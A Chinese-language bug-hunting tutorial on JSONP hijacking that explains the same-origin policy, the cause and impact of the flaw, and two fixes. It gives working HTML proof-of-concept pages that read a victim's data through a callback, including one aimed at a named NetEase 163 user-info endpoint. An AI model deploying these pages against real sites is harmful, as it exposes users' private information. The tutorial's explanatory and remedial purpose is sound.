0x00 前言
平时在漏洞挖掘的过程中一直都没怎么注意过jsonp和cors(感觉错过了很多漏洞orz),其实就是本质上对漏洞的点和利用含糊其辞所导致的,最近看身边的师傅们有提到jsonp,所以专门来研究一下。
0x01 Jsonp劫持
什么是Jsonp
在受到同源规则的限制下(同协议、同域名、同端口),资源不允许跨域访问,但是在实际的使用过程中总有一些地方需要跨域去调用其他域下的资源。
这时候jsonp身为跨域的方法中的一个就孕育而生了,由于html标签中的<script>
、<img>
、<iframe>
这三个标签是允许进行资源的跨域获取的,jsonp就是利用了这三个标签中的其中一个 <script>
利用js代码动态生成script标签然后利用标签中的src属性来进行资源的跨域调用。
利用回调函数'包'住我们的json数据返回
成因
厂商没有对jsonp请求对来源进行校验和过滤导致任意域都能获取到数据
危害
攻击者构造恶意的html页面,利用链接诱导受害者进行点击,从而获取到受害者的敏感信息
利用
本地构造poc来获取用户信息
<!DOCTYPE html>
<html lang='en'>
<head>
<title>jsonp</title>
</head>
<body>
jsonp劫持测试
</body>
<script>
function 回调函数的名字(data){
alert(JSON.stringify(data));
}
</script>
<script src="https://www.xxx.com/api?jsonp=回调函数的名字"></script>
</html>
src填写出现漏洞的网址
函数名填写回调函数的名字
这个就是我们的回调函数的名字
对应的poc改成如下即可
<!DOCTYPE html>
<html lang='en'>
<head>
<title>jsonp</title>
</head>
<body>
jsonp劫持测试
</body>
<script>
function jsonp2(data){
alert(JSON.stringify(data));
}
</script>
<script src="https://www.xxx.com/api?jsonp=jsonp2"></script>
</html>
SRC挖掘中只有返回了敏感信息的jsonp劫持才能算是有危害
修复措施
在url中添加不可构造的token或时间戳,使得攻击者无法构造利用。
对请求数据的来源域进行判断和校验。
[实例]网易163 Jsonp劫持
找到一个jsonp的页面
构造对应的poc
<!DOCTYPE html>
<html lang='en'>
<head>
<meta charset="utf-8">
<title>jsonp</title>
</head>
<body>
鱼儿上钩辣
</body>
<script>
function jsonp_callback_X675Lgzu(data){
alert(JSON.stringify(data));
}
</script>
<script src="https://xxxx.163.com/api/v1/products/a2869674571f77b5a0867c3d71db5856/users/myInfo?&callback=jsonp_callback_X675Lgzu"></script>
</html>
本地进行访问